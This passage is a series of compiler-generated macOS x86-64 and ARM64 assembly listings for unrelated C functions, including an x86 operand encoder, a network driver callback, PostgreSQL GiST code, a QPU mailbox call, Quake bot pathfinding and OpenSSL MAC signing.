_is_valid_registers ldr x8, [x20] ldr w10, [x8] ldr x9, [x8, #48] cbz x9, LBB0_6 ; %bb.5: ldr w9, [x8, #4] b LBB0_7 LBB0_6: Lloh2: adrp x9, _ALL_SIZE@GOTPAGE Lloh3: ldr x9, [x9, _ALL_SIZE@GOTPAGEOFF] Lloh4: ldr w9, [x9] orr w9, w9, w10 LBB0_7: Lloh5: adrp x15, _OT_WORD@GOTPAGE Lloh6: ldr x15, [x15, _OT_WORD@GOTPAGEOFF] ldr w11, [x15] tst w11, w9 b.eq LBB0_9 ; %bb.8: mov w10, #102 ; =0x66 str w10, [x19] ldr w10, [x8] mov w23, #1 ; =0x1 b LBB0_10 LBB0_9: mov w23, #0 ; =0x0 LBB0_10: Lloh7: adrp x11, _OT_QWORD@GOTPAGE Lloh8: ldr x11, [x11, _OT_QWORD@GOTPAGEOFF] Lloh9: ldr w12, [x11] ldr x11, [x8, #40] cmp x11, #0 cset w13, ne tst w12, w9 mov w12, #64 ; =0x40 mov w14, #72 ; =0x48 csel w12, w14, w12, ne csinc w25, w13, wzr, eq cmp x11, #0 cinc w16, w12, ne Lloh10: adrp x12, _OT_BYTE@GOTPAGE Lloh11: ldr x12, [x12, _OT_BYTE@GOTPAGEOFF] ldr w13, [x12] tst w13, w9 mov w13, #254 ; =0xfe cinc w14, w13, eq Lloh12: adrp x13, _OT_MEMORY@GOTPAGE Lloh13: ldr x13, [x13, _OT_MEMORY@GOTPAGEOFF] Lloh14: ldr w13, [x13] tst w13, w10 b.eq LBB0_15 ; %bb.11: ldr x9, [x8, #16] ldr w22, [x9] Lloh15: adrp x10, _X86R_RIP@GOTPAGE Lloh16: ldr x10, [x10, _X86R_RIP@GOTPAGEOFF] Lloh17: ldr w26, [x10] ldp w10, w12, [x8, #24] mul w21, w12, w10 add w10, w21, #128 cmp w10, #257 mov w10, #1 ; =0x1 cinc w10, w10, hs cmp w21, #0 csel w28, wzr, w10, eq ldr w12, [x15] tst w12, w22 b.eq LBB0_25 ; %bb.12: Lloh18: adrp x8, _X86R_BX@GOTPAGE Lloh19: ldr x8, [x8, _X86R_BX@GOTPAGEOFF] Lloh20: ldr w8, [x8] Lloh21: adrp x10, _X86R_SI@GOTPAGE Lloh22: ldr x10, [x10, _X86R_SI@GOTPAGEOFF] Lloh23: ldr w10, [x10] cmp w22, w8 b.ne LBB0_29 ; %bb.13: ldr w11, [x9, #4] cmp w11, w10 b.ne LBB0_27 ; %bb.14: Lloh24: adrp x8, _B0000@GOTPAGE Lloh25: ldr x8, [x8, _B0000@GOTPAGEOFF] b LBB0_51 LBB0_15: cbz w25, LBB0_17 ; %bb.16: str w16, [x19, w23, uxtw #2] add w23, w23, #1 LBB0_17: ldr w10, [x21] cmp w10, #33 b.lt LBB0_20 ; %bb.18: ldr w10, [x12] tst w10, w9 b.eq LBB0_23 ; %bb.19: str w14, [x19, w23, uxtw #2] add w23, w23, #1 ldr w10, [x21] LBB0_20: cmp w10, #32 b.ne LBB0_23 ; %bb.21: Lloh26: adrp x10, _OT_DWORD@GOTPAGE Lloh27: ldr x10, [x10, _OT_DWORD@GOTPAGEOFF] Lloh28: ldr w10, [x10] ldr w11, [x15] orr w10, w11, w10 tst w10, w9 b.eq LBB0_23 ; %bb.22: mov w9, #72 ; =0x48 b LBB0_24 LBB0_23: mov w9, #200 ; =0xc8 LBB0_24: ldr w8, [x8, #8] orr w8, w8, w9 str w8, [x19, w23, uxtw #2] add w0, w23, #1 b LBB0_3 LBB0_25: stp w16, w14, [sp, #8] ; 8-byte Folded Spill cbz x11, LBB0_32 ; %bb.26: ldr w24, [x8, #8] b LBB0_33 LBB0_27: Lloh29: adrp x12, _X86R_DI@GOTPAGE Lloh30: ldr x12, [x12, _X86R_DI@GOTPAGEOFF] Lloh31: ldr w12, [x12] cmp w11, w12 b.ne LBB0_29 ; %bb.28: Lloh32: adrp x8, _B0001@GOTPAGE Lloh33: ldr x8, [x8, _B0001@GOTPAGEOFF] b LBB0_51 LBB0_29: Lloh34: adrp x11, _X86R_BP@GOTPAGE Lloh35: ldr x11, [x11, _X86R_BP@GOTPAGEOFF] Lloh36: ldr w11, [x11] cmp w22, w11 b.ne LBB0_42 ; %bb.30: ldr w11, [x9, #4] cmp w11, w10 b.ne LBB0_40 ; %bb.31: Lloh37: adrp x8, _B0010@GOTPAGE Lloh38: ldr x8, [x8, _B0010@GOTPAGEOFF] b LBB0_51 LBB0_32: mov x24, x22 LBB0_33: cmp w24, #5 cset w11, eq cmp w21, #0 csel w28, w11, w10, eq ldr w27, [x9, #4] ldr x8, [x8, #32] ldr w0, [x8, #4] bl _getsib cmn w27, #1 b.eq LBB0_35 ; %bb.34: mov w8, #0 ; =0x0 lsl w9, w27, #3 orr w9, w9, w0, lsl #6 orr w9, w9, w24 Lloh39: adrp x10, _B0100@GOTPAGE Lloh40: ldr x10, [x10, _B0100@GOTPAGEOFF] Lloh41: ldr w10, [x10] mov x11, x10 b LBB0_36 LBB0_35: mov w8, #36 ; =0x24 cmp w24, #4 csel w9, wzr, w8, ne cset w8, ne Lloh42: adrp x10, _B0100@GOTPAGE Lloh43: ldr x10, [x10, _B0100@GOTPAGEOFF] Lloh44: ldr w10, [x10] csel w11, w24, w10, ne LBB0_36: cmp w22, w26 Lloh45: adrp x15, _OT_WORD@GOTPAGE Lloh46: ldr x15, [x15, _OT_WORD@GOTPAGEOFF] ldp w16, w14, [sp, #8] ; 8-byte Folded Reload b.ne LBB0_38 ; %bb.37: Lloh47: adrp x9, _B0000@GOTPAGE Lloh48: ldr x9, [x9, _B0000@GOTPAGEOFF] Lloh49: adrp x11, _B0101@GOTPAGE Lloh50: ldr x11, [x11, _B0101@GOTPAGEOFF] Lloh51: ldr w9, [x9] Lloh52: ldr w12, [x11] orr w11, w12, w9, lsl #6 lsl w9, w10, #3 orr w9, w9, w0, lsl #6 orr w9, w9, w12 b LBB0_39 LBB0_38: orr w11, w11, w28, lsl #6 LBB0_39: orr w10, w11, #0x8 cbnz w25, LBB0_52 b LBB0_53 LBB0_40: Lloh53: adrp x12, _X86R_DI@GOTPAGE Lloh54: ldr x12, [x12, _X86R_DI@GOTPAGEOFF] Lloh55: ldr w12, [x12] cmp w11, w12 b.ne LBB0_42 ; %bb.41: Lloh56: adrp x8, _B0011@GOTPAGE Lloh57: ldr x8, [x8, _B0011@GOTPAGEOFF] b LBB0_51 LBB0_42: cmp w22, w10 b.ne LBB0_44 ; %bb.43: ldr w10, [x9, #4] cmn w10, #1 b.eq LBB0_49 LBB0_44: Lloh58: adrp x10, _X86R_DI@GOTPAGE Lloh59: ldr x10, [x10, _X86R_DI@GOTPAGEOFF] Lloh60: ldr w10, [x10] cmp w22, w10 b.ne LBB0_46 ; %bb.45: ldr w10, [x9, #4] cmn w10, #1 b.eq LBB0_50 LBB0_46: cmp w22, w8 b.ne LBB0_2 ; %bb.47: ldr w8, [x9, #4] cmn w8, #1 b.ne LBB0_2 ; %bb.48: Lloh61: adrp x8, _B0111@GOTPAGE Lloh62: ldr x8, [x8, _B0111@GOTPAGEOFF] b LBB0_51 LBB0_49: Lloh63: adrp x8, _B0100@GOTPAGE Lloh64: ldr x8, [x8, _B0100@GOTPAGEOFF] b LBB0_51 LBB0_50: Lloh65: adrp x8, _B0101@GOTPAGE Lloh66: ldr x8, [x8, _B0101@GOTPAGEOFF] LBB0_51: mov w9, #0 ; =0x0 ldr w8, [x8] orr w10, w8, w28, lsl #6 mov w8, #1 ; =0x1 cbz w25, LBB0_53 LBB0_52: str w16, [x19, w23, uxtw #2] add w23, w23, #1 LBB0_53: add x11, x19, w23, uxtw #2 add w0, w23, #2 stp w14, w10, [x11] tbnz w8, #0, LBB0_55 ; %bb.54: str w9, [x19, w0, uxtw #2] add w0, w23, #3 LBB0_55: cmp w28, #1 b.ne LBB0_57 ; %bb.56: str w21, [x19, w0, uxtw #2] add w0, w0, #1 b LBB0_3 LBB0_57: ldr x8, [x20] ldr x8, [x8, #16] ldr w8, [x8] ldr w9, [x15] tst w9, w8 b.eq LBB0_60 ; %bb.58: cmp w28, #2 b.ne LBB0_60 ; %bb.59: add x8, x19, w0, uxtw #2 asr w9, w21, #8 add w0, w0, #2 stp w21, w9, [x8] b LBB0_3 LBB0_60: cmp w28, #2 b.eq LBB0_62 ; %bb.61: cmp w22, w26 b.ne LBB0_3 LBB0_62: add x8, x19, w0, uxtw #2 str w21, [x8] dup.2s v0, w21 Lloh67: adrp x9, lCPI0_0@PAGE Lloh68: ldr d1, [x9, lCPI0_0@PAGEOFF] sshl.2s v0, v0, v1 stur d0, [x8, #4] asr w9, w21, #24 add w0, w0, #4 str w9, [x8, #12] b LBB0_3 .loh AdrpAdd Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14 .loh AdrpLdrGot Lloh10, Lloh11 .loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9 .loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17 .loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23 .loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20 .loh AdrpLdrGot Lloh24, Lloh25 .loh AdrpLdrGotLdr Lloh26, Lloh27, Lloh28 .loh AdrpLdrGotLdr Lloh29, Lloh30, Lloh31 .loh AdrpLdrGot Lloh32, Lloh33 .loh AdrpLdrGotLdr Lloh34, Lloh35, Lloh36 .loh AdrpLdrGot Lloh37, Lloh38 .loh AdrpLdrGotLdr Lloh39, Lloh40, Lloh41 .loh AdrpLdrGotLdr Lloh42, Lloh43, Lloh44 .loh AdrpLdrGot Lloh45, Lloh46 .loh AdrpLdrGotLdr Lloh49, Lloh50, Lloh52 .loh AdrpLdrGotLdr Lloh47, Lloh48, Lloh51 .loh AdrpLdrGotLdr Lloh53, Lloh54, Lloh55 .loh AdrpLdrGot Lloh56, Lloh57 .loh AdrpLdrGotLdr Lloh58, Lloh59, Lloh60 .loh AdrpLdrGot Lloh61, Lloh62 .loh AdrpLdrGot Lloh63, Lloh64 .loh AdrpLdrGot Lloh65, Lloh66 .loh AdrpLdr Lloh67, Lloh68 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Error: Invalid operands\n" .comm _ALL_SIZE,4,2 ; @ALL_SIZE .comm _OT_WORD,4,2 ; @OT_WORD .comm _OT_QWORD,4,2 ; @OT_QWORD .comm _OT_BYTE,4,2 ; @OT_BYTE .comm _OT_MEMORY,4,2 ; @OT_MEMORY .comm _OT_DWORD,4,2 ; @OT_DWORD .comm _X86R_RIP,4,2 ; @X86R_RIP .comm _X86R_BX,4,2 ; @X86R_BX .comm _X86R_SI,4,2 ; @X86R_SI .comm _B0000,4,2 ; @B0000 .comm _X86R_DI,4,2 ; @X86R_DI .comm _B0001,4,2 ; @B0001 .comm _X86R_BP,4,2 ; @X86R_BP .comm _B0010,4,2 ; @B0010 .comm _B0011,4,2 ; @B0011 .comm _B0100,4,2 ; @B0100 .comm _B0101,4,2 ; @B0101 .comm _B0111,4,2 ; @B0111 .no_dead_strip _opdec .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function lane2_associate_ind _lane2_associate_ind: ## @lane2_associate_ind .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %ecx, %ebx movq %rdx, %r14 movq %rsi, %r15 movq %rdi, %r12 callq _netdev_priv movq (%rax), %rax movq (%rax), %rax movq %r12, %rdi movq %r15, %rsi movq %r14, %rdx movl %ebx, %ecx popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp jmpq *%rax ## TAILCALL .cfi_endproc ## -- End function .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .no_dead_strip _lane2_associate_ind .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function lane2_associate_ind _lane2_associate_ind: ; @lane2_associate_ind .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x3 mov x20, x2 mov x21, x1 mov x22, x0 bl _netdev_priv ldr x8, [x0] ldr x4, [x8] mov x0, x22 mov x1, x21 mov x2, x20 mov x3, x19 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload br x4 .cfi_endproc ; -- End function .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .no_dead_strip _lane2_associate_ind .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function gistunionsubkeyvec _gistunionsubkeyvec: ## @gistunionsubkeyvec .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %r14 movq %rsi, %r12 movq %rdi, %rbx movl (%rdx), %edi shll $2, %edi callq _palloc movq %rax, %r15 cmpl $0, (%r14) js LBB0_1 ## %bb.2: movq 8(%r14), %rax movq 24(%r14), %rcx xorl %esi, %esi jmp LBB0_3 .p2align 4, 0x90 LBB0_6: ## in Loop: Header=BB0_3 Depth=1 movl -4(%r12,%rdx,4), %edi leaq 1(%rsi), %rdx movl %edi, (%r15,%rsi,4) movslq (%r14), %rdi cmpq %rdi, %rsi movq %rdx, %rsi jge LBB0_7 LBB0_3: ## =>This Inner Loop Header: Depth=1 movq (%rax,%rsi,8), %rdx testq %rcx, %rcx je LBB0_6 ## %bb.4: ## in Loop: Header=BB0_3 Depth=1 cmpq $0, (%rcx,%rdx,8) je LBB0_6 ## %bb.5: movq %rsi, %rdx jmp LBB0_7 LBB0_1: xorl %edx, %edx LBB0_7: movl 16(%r14), %r8d movl 20(%r14), %ecx movq %rbx, %rdi movq %r15, %rsi ## kill: def $edx killed $edx killed $rdx callq _gistMakeUnionItVec movq %r15, %rdi popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp jmp _pfree ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _gistunionsubkeyvec .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function gistunionsubkeyvec _gistunionsubkeyvec: ; @gistunionsubkeyvec .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x21, x2 mov x22, x1 mov x20, x0 ldr w8, [x2] lsl w0, w8, #2 bl _palloc mov x19, x0 ldr w8, [x21] tbnz w8, #31, LBB0_6 ; %bb.1: mov x8, #0 ; =0x0 sub x9, x22, #4 ldr x10, [x21, #24] ldr x11, [x21, #8] b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 ldr w12, [x9, x12, lsl #2] add x2, x8, #1 str w12, [x19, x8, lsl #2] ldrsw x12, [x21] cmp x8, x12 mov x8, x2 b.ge LBB0_7 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr x12, [x11, x8, lsl #3] cbz x10, LBB0_2 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 ldr x13, [x10, x12, lsl #3] cbz x13, LBB0_2 ; %bb.5: mov x2, x8 b LBB0_7 LBB0_6: mov w2, #0 ; =0x0 LBB0_7: ldp w4, w3, [x21, #16] mov x0, x20 mov x1, x19 ; kill: def $w2 killed $w2 killed $x2 bl _gistMakeUnionItVec mov x0, x19 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload b _pfree .cfi_endproc ; -- End function .no_dead_strip _gistunionsubkeyvec .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal16,16byte_literals .p2align 4, 0x0 ## -- Begin function execute_qpu LCPI0_0: .long 40 ## 0x28 .long 0 ## 0x0 .long 196625 ## 0x30011 .long 16 ## 0x10 .section __TEXT,__text,regular,pure_instructions .globl _execute_qpu .p2align 4, 0x90 _execute_qpu: ## @execute_qpu .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $144, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $16, -128(%rbp) movl %esi, -124(%rbp) movl %edx, -120(%rbp) movl %ecx, -116(%rbp) movl %r8d, -112(%rbp) movl $0, -108(%rbp) movaps LCPI0_0(%rip), %xmm0 ## xmm0 = [40,0,196625,16] movaps %xmm0, -144(%rbp) leaq -144(%rbp), %rsi callq _mbox_property movl -124(%rbp), %eax movq ___stack_chk_guard@GOTPCREL(%rip), %rcx movq (%rcx), %rcx cmpq -8(%rbp), %rcx jne LBB0_2 ## %bb.1: addq $144, %rsp popq %rbp retq LBB0_2: callq ___stack_chk_fail .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal16,16byte_literals .p2align 4, 0x0 ; -- Begin function execute_qpu lCPI0_0: .long 40 ; 0x28 .long 0 ; 0x0 .long 196625 ; 0x30011 .long 16 ; 0x10 .section __TEXT,__text,regular,pure_instructions .globl _execute_qpu .p2align 2 _execute_qpu: ; @execute_qpu .cfi_startproc ; %bb.0: sub sp, sp, #160 stp x29, x30, [sp, #144] ; 16-byte Folded Spill add x29, sp, #144 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-8] mov w8, #16 ; =0x10 stp w8, w1, [sp, #16] stp w2, w3, [sp, #24] stp w4, wzr, [sp, #32] Lloh3: adrp x8, lCPI0_0@PAGE Lloh4: ldr q0, [x8, lCPI0_0@PAGEOFF] str q0, [sp] mov x1, sp bl _mbox_property ldr w0, [sp, #20] ldur x8, [x29, #-8] Lloh5: adrp x9, ___stack_chk_guard@GOTPAGE Lloh6: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh7: ldr x9, [x9] cmp x9, x8 b.ne LBB0_2 ; %bb.1: ldp x29, x30, [sp, #144] ; 16-byte Folded Reload add sp, sp, #160 ret LBB0_2: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpLdr Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _AAS_GetAdjacentAreasWithLessPresenceTypes_r ## -- Begin function AAS_GetAdjacentAreasWithLessPresenceTypes_r .p2align 4, 0x90 _AAS_GetAdjacentAreasWithLessPresenceTypes_r: ## @AAS_GetAdjacentAreasWithLessPresenceTypes_r .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %eax movslq %esi, %rcx decl %eax movq %rdi, -64(%rbp) ## 8-byte Spill movl %edx, (%rdi,%rcx,4) movq _aasworld@GOTPCREL(%rip), %r11 movq 24(%r11), %r12 movslq %edx, %r13 movl (%r12,%r13,8), %ecx testl %ecx, %ecx js LBB0_11 ## %bb.1: movl %edx, %ebx movq (%r11), %rdx movl (%rdx,%r13,4), %r14d movl %r14d, %edx notl %edx movl %edx, -44(%rbp) ## 4-byte Spill movq 8(%r11), %rsi movq 16(%r11), %rdi movq _FACE_SOLID@GOTPCREL(%rip), %rdx movl (%rdx), %r8d xorl %r15d, %r15d movq %r13, -56(%rbp) ## 8-byte Spill jmp LBB0_2 .p2align 4, 0x90 LBB0_10: ## in Loop: Header=BB0_2 Depth=1 incq %r15 leal -1(%r15), %edx cmpl %ecx, %edx jge LBB0_11 LBB0_2: ## =>This Inner Loop Header: Depth=1 movslq 4(%r12,%r13,8), %rdx addq %r15, %rdx movl (%rdi,%rdx,4), %edx movl %edx, %r9d negl %r9d cmovsl %edx, %r9d leaq (%r9,%r9,2), %rdx testl %r8d, (%rsi,%rdx,4) jne LBB0_10 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 leaq (%rsi,%rdx,4), %r9 movl 4(%r9), %edx cmpl %ebx, %edx jne LBB0_5 ## %bb.4: ## in Loop: Header=BB0_2 Depth=1 movl 8(%r9), %edx LBB0_5: ## in Loop: Header=BB0_2 Depth=1 movq (%r11), %r9 movslq %edx, %r10 movl (%r9,%r10,4), %r9d movl %r9d, %r10d notl %r10d testl %r10d, %r14d setne %r10b testl %r9d, -44(%rbp) ## 4-byte Folded Reload sete %r9b orb %r10b, %r9b cmpb $1, %r9b jne LBB0_10 ## %bb.6: ## in Loop: Header=BB0_2 Depth=1 testl %eax, %eax js LBB0_10 ## %bb.7: ## in Loop: Header=BB0_2 Depth=1 movq _MAX_PORTALAREAS@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jge LBB0_8 ## %bb.9: ## in Loop: Header=BB0_2 Depth=1 movq -64(%rbp), %rdi ## 8-byte Reload movl %eax, %esi movq %r12, %r13 movl %ebx, %r12d movl %r14d, %ebx movq %r11, %r14 callq _AAS_GetAdjacentAreasWithLessPresenceTypes_r movq %r14, %r11 movl %ebx, %r14d movl %r12d, %ebx movq %r13, %r12 movq -56(%rbp), %r13 ## 8-byte Reload movq 8(%r11), %rsi movq 16(%r11), %rdi movq _FACE_SOLID@GOTPCREL(%rip), %rcx movl (%rcx), %r8d movl (%r12,%r13,8), %ecx jmp LBB0_10 LBB0_8: leaq L_.str(%rip), %rdi movl %eax, %ebx callq _AAS_Error movl %ebx, %eax LBB0_11: addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _aasworld,32,3 ## @aasworld .comm _FACE_SOLID,4,2 ## @FACE_SOLID .comm _MAX_PORTALAREAS,4,2 ## @MAX_PORTALAREAS .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "MAX_PORTALAREAS\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _AAS_GetAdjacentAreasWithLessPresenceTypes_r ; -- Begin function AAS_GetAdjacentAreasWithLessPresenceTypes_r .p2align 2 _AAS_GetAdjacentAreasWithLessPresenceTypes_r: ; @AAS_GetAdjacentAreasWithLessPresenceTypes_r .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 str w2, [x0, w1, sxtw #2] sub w19, w1, #1 Lloh0: adrp x22, _aasworld@GOTPAGE Lloh1: ldr x22, [x22, _aasworld@GOTPAGEOFF] ldr x8, [x22, #24] add x23, x8, w2, sxtw #3 ldr w8, [x23] tbnz w8, #31, LBB0_11 ; %bb.1: mov x20, x2 mov x21, x0 mov x24, #0 ; =0x0 ldp x10, x9, [x22] ldr w25, [x10, w2, sxtw #2] mvn w26, w25 Lloh2: adrp x11, _FACE_SOLID@GOTPAGE Lloh3: ldr x11, [x11, _FACE_SOLID@GOTPAGEOFF] ldr x10, [x22, #16] Lloh4: ldr w11, [x11] mov w28, #-1 ; =0xffffffff mov w27, #12 ; =0xc b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 add w28, w28, #1 add x24, x24, #1 cmp w28, w8 b.ge LBB0_11 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldrsw x12, [x23, #4] add x12, x24, x12 ldr w12, [x10, x12, lsl #2] cmp w12, #0 cneg w12, w12, mi umaddl x12, w12, w27, x9 ldr w13, [x12] tst w11, w13 b.ne LBB0_2 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 ldr w2, [x12, #4] cmp w2, w20 b.ne LBB0_6 ; %bb.5: ; in Loop: Header=BB0_3 Depth=1 ldr w2, [x12, #8] LBB0_6: ; in Loop: Header=BB0_3 Depth=1 ldr x12, [x22] ldr w12, [x12, w2, sxtw #2] bic w13, w25, w12 tst w12, w26 ccmp w13, #0, #0, ne b.eq LBB0_2 ; %bb.7: ; in Loop: Header=BB0_3 Depth=1 tbnz w19, #31, LBB0_2 ; %bb.8: ; in Loop: Header=BB0_3 Depth=1 Lloh5: adrp x8, _MAX_PORTALAREAS@GOTPAGE Lloh6: ldr x8, [x8, _MAX_PORTALAREAS@GOTPAGEOFF] Lloh7: ldr w8, [x8] cmp w19, w8 b.ge LBB0_10 ; %bb.9: ; in Loop: Header=BB0_3 Depth=1 mov x0, x21 mov x1, x19 bl _AAS_GetAdjacentAreasWithLessPresenceTypes_r mov x19, x0 ldp x9, x10, [x22, #8] Lloh8: adrp x8, _FACE_SOLID@GOTPAGE Lloh9: ldr x8, [x8, _FACE_SOLID@GOTPAGEOFF] Lloh10: ldr w11, [x8] ldr w8, [x23] b LBB0_2 LBB0_10: Lloh11: adrp x0, l_.str@PAGE Lloh12: add x0, x0, l_.str@PAGEOFF bl _AAS_Error LBB0_11: mov x0, x19 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .loh AdrpAdd Lloh11, Lloh12 .cfi_endproc ; -- End function .comm _aasworld,32,3 ; @aasworld .comm _FACE_SOLID,4,2 ; @FACE_SOLID .comm _MAX_PORTALAREAS,4,2 ; @MAX_PORTALAREAS .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "MAX_PORTALAREAS\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function pkey_mac_signctx_init _pkey_mac_signctx_init: ## @pkey_mac_signctx_init .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %r15 movq %rdi, %r12 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) callq _EVP_PKEY_CTX_get_data movq %rax, %rbx movq (%rax), %rax movq _MAC_TYPE_RAW@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_5 ## %bb.1: movq (%r12), %rax movq _EVP_PKEY_FLAG_SIGCTX_CUSTOM@GOTPCREL(%rip), %rcx movl (%rcx), %ecx xorl %r14d, %r14d orl (%rax), %ecx je LBB0_6 ## %bb.2: movl 8(%rbx), %edi callq _EVP_MAC_CTX_mac movl %eax, %r13d movq %r12, %rdi callq _EVP_PKEY_CTX_get0_pkey movl %eax, %edi callq _EVP_PKEY_id movl %eax, %edi callq _OBJ_nid2sn movl %r13d, %edi movl 